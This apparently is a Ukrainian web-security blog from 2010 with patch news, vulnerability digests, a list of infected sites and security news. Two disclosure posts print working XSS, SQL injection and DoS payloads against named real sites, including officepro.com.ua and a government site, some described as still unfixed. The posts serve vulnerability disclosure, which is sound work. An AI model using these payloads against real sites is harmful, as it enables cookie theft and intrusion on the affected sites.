Websecurity - Веб безпека

Продовжуючи розпочату традицію, після попереднього відео про десктопний фішинг, пропоную новий відео секюріті мануал. Цього разу відео про сліпу SQL ін’єкцію. Рекомендую подивитися всім хто цікавиться цією темою.

A textbook example of Blind SQL Injection

В даному відео ролику на прикладі одного сайта розповідається про сліпі SQL Injection уразливості та методи їх використання. Рекомендую подивитися дане відео для розуміння векторів атак з використанням сліпих SQL Injection.

В липні місяці Microsoft випустила 4 патчі. Що значно менше ніж у червні.

У липневому “вівторку патчів” Microsoft випустила черговий пакет оновлень, до якого увійшло 4 бюлетня по безпеці. Що закривають 5 уразливостей в програмних продуктах компанії. В тому числі 3 патчі виправляють критичні уразливості, які дозволяють виконати довільний шкідливий код на віддаленому комп’ютері, а четвертий патч має “важливий” рейтинг.

Дані патчі стосуються таких продуктів Microsoft як операційні системи Windows XP, Windows Server 2003, Windows 7, Windows Server 2008 R2 та MS Office XP, Office 2003, Office 2007.

Зазначу, що в даному вівторку патчів була виправлена уразливість в Canonical Display Driver, що була виявлена ще в травні цього року, а також уразливість в довідковій системі Windows, що була виявлена в минулому місяці.

В даній добірці уразливості в веб додатках:

• Security Notice for CA Service Desk (XSS) (деталі)
• Knowledgeroot (fckeditor) Remote Arbitrary File Upload Exploit (деталі)
• SmartCMS v.2 SQL injection vulnerability (деталі)
• HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code (деталі)
• HP OpenView NNM snmpviewer.exe CGI Host Header Stack Overflow Vulnerability (деталі)
• HP OpenView NNM ovalarm.exe CGI Accept-Language Stack Overflow Vulnerability (деталі)
• HP OpenView NNM webappmon.exe CGI Host Header Buffer Overflow Vulnerability (деталі)
• Joomla Component advertising (com_aardvertiser) File Inclusion Vulnerability (деталі)
• Blind SQL injection vulnerability in NPDS REvolution (деталі)
• XSS vulnerability in NPDS (деталі)

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://tabulorasa.info - інфекція була виявлена 25.07.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 1 раз протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
• http://futbolka.info (та піддомен http://shop.futbolka.info) - інфекція була виявлена 24.07.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 3 рази протягом останніх 90 днів. Зараз сайт входить до переліку підозрілих.
• http://kinoonline.tv - інфекція була виявлена 09.06.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 2 рази протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
• http://allcasting.com.ua - інфекція була виявлена 06.07.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 2 рази протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
• http://mgx.com.ua - інфекція була виявлена 21.07.2010. Зараз сайт входить до переліку підозрілих.

Виявлені численні уразливості безпеки в Mozilla Firefox, Thunderbird, Seamonkey.

Уразливі продукти: Mozilla Firefox 3.5, Firefox 3.6, Thunderbird 3.1, SeaMonkey 2.0.

Численні пошкодження пам’яті, використання після звільнення, виконання коду, цілочислене переповнення, переповнення індексу масиву та інші уразливості.

• Mozilla Firefox 3.5.x Address Bar Spoofing Vulnerability (деталі)
• Mozilla Firefox DOM Attribute Cloning Remote Code Execution Vulnerability (деталі)
• Mozilla Firefox CSS font-face Remote Code Execution Vulnerability (деталі)
• Mozilla Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution Vulnerability (деталі)
• Mozilla Firefox nsTreeSelection Dangling Pointer Remote Code Execution Vulnerability (деталі)
• Mozilla Firefox NodeIterator Remote Code Execution Vulnerability (деталі)
• SeaMonkey 2.0.5 Address Bar Spoofing Vulnerability (деталі)
• Mozilla Foundation Security Advisory 2010-48 (деталі)
• Mozilla Foundation Security Advisory 2010-47 (деталі)
• Mozilla Foundation Security Advisory 2010-46 (деталі)
• Mozilla Foundation Security Advisory 2010-45 (деталі)
• Mozilla Foundation Security Advisory 2010-44 (деталі)
• Mozilla Foundation Security Advisory 2010-43 (деталі)
• Mozilla Foundation Security Advisory 2010-42 (деталі)
• Mozilla Foundation Security Advisory 2010-41 (деталі)
• Mozilla Foundation Security Advisory 2010-40 (деталі)
• Mozilla Foundation Security Advisory 2010-39 (деталі)
• Mozilla Foundation Security Advisory 2010-38 (деталі)
• Mozilla Foundation Security Advisory 2010-37 (деталі)
• Mozilla Foundation Security Advisory 2010-36 (деталі)
• Mozilla Foundation Security Advisory 2010-35 (деталі)
• Mozilla Foundation Security Advisory 2010-34 (деталі)

08.12.2009

У квітні, 22.04.2009, я знайшов Cross-Site Scripting та Denial of Service уразливості на сайті http://www.officepro.com.ua. Про що найближчим часом сповіщу адміністрацію сайта.

Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на viland.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

26.07.2010

XSS:

POST запит на сторінці www.officepro.com.ua/search_result.html
"><script>alert(document.cookie)</script>В полі “Поиск товаров”.

Дана уразливість виправлена, але неякісно і при зміні коду, знову працює.

XSS:

POST запит на сторінці www.officepro.com.ua/search_result.html
" style="-moz-binding:url(http://websecurity.com.ua/webtools/xss.xml#xss)В полі “Поиск товаров”.

XSS через GET:

• alert(document.cookie)
• цікавий

DoS:

POST запит на сторінці www.officepro.com.ua/search_result.html
%%В полі “Поиск товаров”.

DoS уразливість вже виправлена, але XSS все ще працює.

В 2007 та 2009 році я виявив численні уразливості в MC Content Manager. Це Cross-Site Scripting та SQL Injection уразливості, що я виявив на http://www.szru.gov.ua - сайті СЗРУ. Де використовується даний движок.

Всього я виявив 5 XSS та 3 SQL Injection уразливостей в MC Content Manager: 1 XSS 08.01.2007 і 1 XSS 23.09.2007 (які я вже оприлюднив і про які раніше вже повідомив адмінів сайта та які вже виправлені), 2 XSS та 2 SQLi 30.09.2007 (про які я повідомив приватно, тому інформація про них публікуватися не буде, з яких до сих пір виправлено лише 3 з 4), 1 XSS і 1 SQLi 10.04.2009 (які я вже оприлюднив і про які раніше вже повідомив адмінів сайта та які досі не виправлені).

XSS:

http://site/article.php?root=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/static.php?page=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/cms/%3Cbody%20onload=alert(document.cookie)%3E/

SQL Injection:

http://site/cms/ua%20where%201=1–%20/

Уразливі ранні версії MC Content Manager від mc design (в скриптах на сайті СЗРУ версія CMS не зазначена). Остання версія MC Content Manager v.10.1.1 вже не вразлива (судячи по останнім сайтам цієї студії). Серед великої кількості сайтів розроблених mc design (що використовують MC Content Manager), перевірених мною цього місяця, я не знайшов жодних з даними уразливостями (на них використовуються або більш нові версії MC Content Manager, або інші компоненти), зате знайшов багато інших дірок в даному движку на різних сайтах. Про що я напишу з часом.

Пропоную вашій увазі добірку цікавих новин на тему безпеки.

За повідомленням hackzona.com.ua, кібершахрай присвоїв за допомогою інтернет-аукціонів більше 10 мільйонів рублів. Співробітники управління “К” МВС Росії припинили діяльність чоловіка, який протягом трьох років здійснював шахрайські дії на інтернет-аукціонах і тематичних форумах для колекціонерів. Про це повідомила прес-секретар управління “К” МВС РФ Ірина Зубарєва.

За її словами, від дій зловмисника постраждали сотні людей, які проживають як в Росії, так і в країнах СНД. Затриманий розробив хитру схему обману користувачів через Інтернет.

За повідомленням www.3dnews.ru, зловмисниками частіше експлуатуються уразливості Windows XP. Корпорація Microsoft обнародувала черговий звіт Security Intelligence Report (SIR), що висвітлює ситуацію з інформаційною безпекою в Інтернеті в другій половині 2009 року. Представлені в документі дані базуються на аналізі статистичних відомостей, зібраних за допомогою різних програмних засобів захисту ПК більш ніж з 500 мільйонів комп’ютерів по усьому світі, а також за допомогою онлайнових сервісів Windows Live Hotmail і Bing.

Відповідно до звіту, у другому півріччі 2009 року фахівцями Microsoft було виявлено 126 мільйонів зразків шкідливих додатків. Це на 8,9% більше, ніж у першому півріччі минулого року. Проводячи порівняльний аналіз проведених хакерами спроб взлому продуктів корпорації, експерти прийшли до висновку, що 55,3% всіх атак у вивченій вибірці довелося на експлуатування уразливостей Windows XP.

За повідомленням ain.ua, фальшиві банки - основні “автори” фишинга. Темпи електронного фишингу ростуть в усьому світі.

За даними СРР, кількість шкідливих листів за рік склало понад 3,7 млрд. При цьому більше половини повідомлень, що містили фрагменти шкідливого коду, шкідливе ПЗ чи підроблені лінки, довелося на підроблені листи від банківських структур. Даний механізм використовується для одержання незаконного доступу до даних про кредитні карти і банківські рахунки для взлому сервісів онлайн-банкінга.

На цьому тижні був дуже заклопотаний робою, тому лише сьогодні згадав про чергову річницю . Про яку вам і повідомляю.

Нещодавно, 18.07.2010, моєму веб проекту виповнилося чотири роки! Чотири роки тому, 18.07.2006, мій проект розпочав свою роботу. Так що нещодавно пройшло чотири роки з моменту початку офіційної роботи проекту Websecurity - Веб безпека. З чим вас і себе поздоровляю .

За четвертий рік роботи проекту було зроблено чимало і ще багато чого заплановано. Зокрема мною була випущена нова версія MustLive Security Pack та нові версії SQL Shell, оновлені Посібник з безпеки та Тестування. Та запроваджені нові цікаві розділи і корисні сервіси на сайті, зокрема зроблений анонс Web Virus Detection System (що був розроблений ще в 2008 році). А також опубліковано багато цікавих статей та досліджень.

Багато цікавого ще попереду, тому слідкуйте за новинами.

В даній добірці уразливості в веб додатках:

• 3Com OfficeConnect Firewall/Router multiple remote Vulnerabilities (деталі)
• New mediawiki packages fix cross-site request forgery (деталі)
• XSS in ecoCMS (деталі)
• XSRF (CSRF) in Zikula Application Framework (деталі)
• McKesson Horizon Clinical Infrastructure (HCI) version 7.6/7.8/10.0/10.1 hardcoded passwords (деталі)
• XSS in eliteCMS (деталі)
• XSS in Acuity CMS (деталі)
• XSRF (CSRF) in eliteCMS (деталі)
• NolaPro Enterprise multiple vulnerabilities (деталі)
• Microsoft Security Bulletin MS09-061 - Critical Vulnerabilities in the Microsoft .NET Common Language Runtime Could Allow Remote Code Execution (974378) (деталі)